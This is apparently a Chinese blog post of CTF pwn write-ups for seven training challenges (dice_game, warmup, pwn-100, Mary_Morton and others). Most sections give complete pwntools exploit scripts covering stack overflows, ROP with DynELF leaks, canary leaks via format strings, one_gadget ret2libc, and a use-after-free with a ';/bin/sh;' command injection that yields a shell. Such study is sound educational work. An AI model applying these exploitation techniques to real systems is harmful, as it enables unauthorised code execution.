Contents
  1. 1. dice_game (XCTF 4th-QCTF-2018)
    1. 1.1. 0x01寻找漏洞
    2. 1.2.
    3. 1.3. 0x02exp
  2. 2. warmup (csaw-ctf-2016-quals)
  3. 3. monkey (XCTF 3rd-BCTF-2017)
  4. 4. pwn-100 (L-CTF-2016)
    1. 4.1. 0x01寻找漏洞
    2. 4.2. 0x02利用思路
    3. 4.3. 0x03攻击
  5. 5. Mary_Morton (ASIS-CTF-Finals-2017)
    1. 5.1. 0x01漏洞
    2. 5.2. 0x03攻击
  6. 6. pwn1 (厦门邀请赛)
    1. 6.1. 0x01
    2. 6.2. 0x02 思路
  7. 7. time_formatter(类pctf 2016 unix_time_formatter)
    1. 7.1. 0x01
    2. 7.2. 0x02 思路
    3. 7.3. 0x03 EXP
  • 做这些的时候是19.8.2

dice_game (XCTF 4th-QCTF-2018)

写在前面:这道题和新手区的[guess_num]如出一辙,都用到了覆盖随机种子,可以参考一下/>.</

0x01寻找漏洞

首先整个程序流程就是猜对50次的数字后就可以get flag了

实际上呢只给buf分配了0x30的空间

我们写入0x40的数据就可以覆盖到seed了

0x02exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!usr/bin/python

from pwn import *
from ctypes import *
# context.log_level = "debug"

io = remote("111.198.29.45",53501)
# io = process("./dice_game")
libc = cdll.LoadLibrary("./libc.so.6")

payload = "a" * 0x40 + p64(1)
io.recvuntil("your name: ")
io.sendline(payload)

libc.srand(1)
for i in range(50):
num = str(libc.rand()%6+1)
io.recvuntil("point(1~6): ")
io.sendline(str(num))

io.interactive()
1
2
3
4
5
6
7
8
9
10
kk@ubuntu:~/Desktop/black/GFSJ/dice_game$ python exp.py 
[+] Opening connection to 111.198.29.45 on port 53501: Done
[*] Switching to interactive mode
You win.
Congrats aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI
cyberpeace{TryTry口喜口喜}

Bye bye!
[*] Got EOF while reading in interactive
$

warmup (csaw-ctf-2016-quals)

额…攻防世界没有提供附件,我去网上找了找附件


checksec 什么保护都没有开ovo

ida 存在很明显的栈溢出

这个sub_40060D就是自带了cat flag的函数。。。

这怎么能算是进阶呢。。。


EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
#!usr/bin/python

from pwn import *

io = remote("111.198.29.45", 33575)
# io = process("./warmup")

payload = "a" * 0x40 + "a" * 8 + p64(0x40060D)

io.sendline(payload)

io.interactive()

monkey (XCTF 3rd-BCTF-2017)

运行js文件出现了js>,像是命令执行行,所以尝试

1
2
3
4
5
6
kk@ubuntu:~/Desktop/black/GFSJ/monkey$ ./js
js> ls
typein:1:1 ReferenceError: ls is not defined
Stack:
@typein:1:1
js>

不得行啊,这个js更像是JavaScript的…触及知识盲区,就查看了writeup


考察jsshell==>Introduction_to_the_JavaScript_shell
wp让测试的命令输出太多东西了,找不到它指引的…. 但是这个os.system()很有用
我们测试一下写入参数”/bin/sh”

1
2
3
js> os.system("/bin/sh")
$ ls
js libnspr4.so libplc4.so libplds4.so

成功getshell
下面远程尝试即可

pwn-100 (L-CTF-2016)

0x01寻找漏洞

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida

存在栈溢出, 参数a1即v1,只有0x40的大小

0x02利用思路

无libc,无system,无”/bin/sh”,有read,puts函数

1.利用DynELF模块泄露system函数地址
2.构造rop链,写入”/bin/sh”
3.调用system函数

puts只需要一个参数,所以找到pop rdi; ret传参更方便

1
2
kk@ubuntu:~/Desktop/black/GFSJ/pwn100$ ROPgadget --binary pwn100 --only "pop|ret" | grep rdi
0x0000000000400763 : pop rdi ; ret

把binsh写入哪里呢?

1
2
3
4
5
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/kk/Desktop/black/GFSJ/pwn100/pwn100
0x00600000 0x00601000 r--p /home/kk/Desktop/black/GFSJ/pwn100/pwn100
0x00601000 0x00602000 rw-p /home/kk/Desktop/black/GFSJ/pwn100/pwn100

找到可写的地址=。=

0x03攻击

利用DynELF存在一个问题,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含/x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,这是puts函数的缺点
参考Tangerine利用漏洞获取libc解决

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',57902)
# io = process("./pwn100")
elf = ELF("./pwn100")

rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56 #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()

Mary_Morton (ASIS-CTF-Finals-2017)

0x01漏洞

ida
漏洞都给你放在那里了…一个栈溢出,一个格式化字符串可以利用
存在sub_4008DA函数可以直接cat flag
checksec

1
2
3
4
5
6
7
kk@ubuntu:~/Desktop/black/GFSJ/Mary_Morton$ checksec Mary_Morton 
[*] '/home/kk/Desktop/black/GFSJ/Mary_Morton/Mary_Morton'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

##0x02思路
主要这个开启了canary,就不能直接利用栈溢出覆盖返回地址了
所以可以通过格式化字符串漏洞泄露canary的值,然后再进行栈溢出的覆盖
来看一看canary - CTF Wiki

计算偏移
测试该格式化字符串为第几个参数

1
2
3
4
5
6
7
8
9
10
kk@ubuntu:~/Desktop/black/GFSJ/Mary_Morton$ ./Mary_Morton 
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0x7ffcdd58bae00x7f0x7f3eab892260(nil)(nil)0x70257025414141410x70257025702570250x70257025702570250x70257025702570250xa7025(nil)(nil)(nil)(nil)(nil)

可以确定为格式化字符串的第11个参数

canary与我们输入参数的偏移为0x90 - 8 = 0x88,然后八个字节为一组,0x88 / 8 = 17,17 + 6 = 23

0x03攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!usr/bin/python
from pwn import *

io = remote( '111.198.29.45',54307)
# io = process("./Mary_Morton")

flag_addr = 0x4008DA

io.recvuntil("battle ")
io.sendline(str(2))
io.sendline("%23$p")
io.recvuntil("0x")
canary = int(io.recv(16), 16)

io.sendlineafter("battle ", str(1))
payload = "a" * 0x80 + "a" * 8 + p64(canary) + 'a' * 8 + p64(flag_addr)
io.sendline(payload)

io.interactive()

pwn1 (厦门邀请赛)

0x01

checksec

1
2
3
4
5
6
7
kk@ubuntu:~/Desktop/black/GFSJ/pwn1$ checksec ./babystack 
[*] '/home/kk/Desktop/black/GFSJ/pwn1/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida
read处存在栈溢出

0x02 思路

1.利用print函数泄露canary
2.泄露puts真正的地址,得到libc基址
3.利用题目给定的libc,查找one_gadget==> 是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget,详细学习戳→glibc里的one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kk@ubuntu:~/Desktop/black/GFSJ/pwn1$ one_gadget libc-2.23.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

4.构造get shell

#0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!usr/bin/python
from pwn import *

io = remote('111.198.29.45', 31251)
# io = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')

rdi_ret = 0x0000000000400a93 #pop rdi ; ret
# start_addr = elf.symbols['__bss_start']
start_addr = 0x0000000000400720
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
one_gadget = 0x45216

print "========leak canary========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88
io.sendline(payload)
io.sendlineafter(">> ", str(2))
io.recvuntil("a" * 0x88 + '\n')
canary = u64(io.recv(7).rjust(8, '\x00'))
print ("canary=>" +hex(canary))

print "========leak libc_base========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendline(payload)
io.sendlineafter(">> ", str(3))

puts_addr = u64(io.recv(6).ljust(8, '\x00'))
print ("puts_addr=>" +hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + one_gadget

print "========get shell========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(one_gadget)
io.sendline(payload)
io.sendlineafter(">> ", str(3))


io.interactive()

其实我是想用libc查找调用system(“/bin/sh”),但是不成功,🉑再研究研究


8.21更
脚本显示sh no found
应该是因为对方服务器没有sh

time_formatter(类pctf 2016 unix_time_formatter)

0x01

checksec

1
2
3
4
5
6
7
8
kk@ubuntu:~/Desktop/black/GFSJ/time_formatter$ checksec ./time_formatter 
[*] '/home/kk/Desktop/black/GFSJ/time_formatter/time_formatter'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

这个题目对我来说好乱的。。。

ida

基本功能

1
2
3
4
5
6
7
Welcome to Mary's Unix Time Formatter!
1) Set a time format. ==>format有格式限制(允许使用%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# )
2) Set a time.
3) Set a time zone. ==>时区
4) Print your time.
5) Exit.
>

涉及到的函数

strcspn
C 库函数 size_t strcspn(const char *str1, const char *str2) 检索字符串 str1 开头连续有几个字符都不含字符串 str2 中的字符。

strdup
char * strdup(const char *s) 会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。

getenv
C 库函数 char *getenv(const char *name) 搜索 name 所指向的环境字符串,并返回相关的值给字符串。

__snprintf_chk
int __snprintf_chk(char * str, size_t maxlen, int flag, size_t strlen, const char * format) 转换格式化输出,在计算结果之前应检查缓冲区溢出,具体取决于flag参数的值 。如果预期出现溢出,则该函数将中止,并且调用它的程序将退出。
通常,flag的值越高,此接口应以检查缓冲区,参数值等形式采取的安全措施越多。
参数strlen指定缓冲区str的大小 。如果strlen小于 maxlen,则该函数将中止,并且调用它的程序将退出。
所述__snprintf_chk()函数不在源标准; 它只在二进制标准中。

setenv
int setenv(const char *name,const char * value,int overwrite) 用来改变或增加环境变量的内容。参数name为环境变量名称字符串。参数 value则为变量内容,参数overwrite用来决定是否要改变已存在的环境变量。如果没有此环境变量则无论overwrite为何值均添加此环境变量。若环境变量存在,当overwrite不为0时,原内容会被改为参数value所指的变量内容;当overwrite为0时,则参数value会被忽略。返回值 执行成功则返回0,有错误发生时返回-1。

这里如果我们可以控制command就可以getshell了,但是command由ptr,也就是我们输入的format控制(可format有格式要求)

先free才询问是否退出,如果不退出,存在UAF漏洞

0x02 思路

选项1和3都使用sub_400D74来读取,同时利用了strcspn()函数来过滤
所以我们先填入符合格式要求的任意format,再free但不退出,再选择3填入time zone到已经free的空间
gdb调试效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
gdb-peda$ run
Starting program: /home/kk/Desktop/black/GFSJ/time_formatter/time_formatter
Welcome to Mary's Unix Time Formatter!
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 1
Format: %%aaaaaaaaaaa
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> ^C
...
gdb-peda$ find %%aaaaaaaa
Searching for '%%aaaaaaaa' in: None ranges
Found 3 results, display max 3 items:
[heap] : 0x603010 ("%%", 'a' <repeats 11 times>, "\n")
[heap] : 0x603420 ("%%", 'a' <repeats 11 times>)
[stack] : 0x7fffffffda08 ("%%", 'a' <repeats 11 times>)
gdb-peda$ c
Continuing.
5
Are you sure you want to exit (y/N)? n
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: zxcvbnm
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> ^C
...
gdb-peda$ find zxcvbn
Searching for 'zxcvbn' in: None ranges
Found 3 results, display max 3 items:
[heap] : 0x603010 ("zxcvbnm\naaaaa\n") ============================>成功利用
[heap] : 0x603420 --> 0x6d6e627663787a ('zxcvbnm')
[stack] : 0x7fffffffda08 --> 0x6d6e627663787a ('zxcvbnm')

那第二次写入binsh应该以什么样的形式?——命令注入(我也不大懂…

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!usr/bin/env python
from pwn import *
# context.log_level = 'debug'
# io = remote('111.198.29.45',38746)
io = process('./time_formatter')

io.sendlineafter(">", str(1))
io.sendline("%a")

io.sendlineafter(">", str(5))
io.sendline("")

io.sendlineafter(">", str(2))
io.sendline("111")

io.sendlineafter(">", str(3))
io.sendline("';/bin/sh;'")

io.sendlineafter(">", str(4))

io.interactive()

做的时候刚好环境崩了…只能本地测试,但应该是成功的

8.23更,攻防世界环境好了,get shell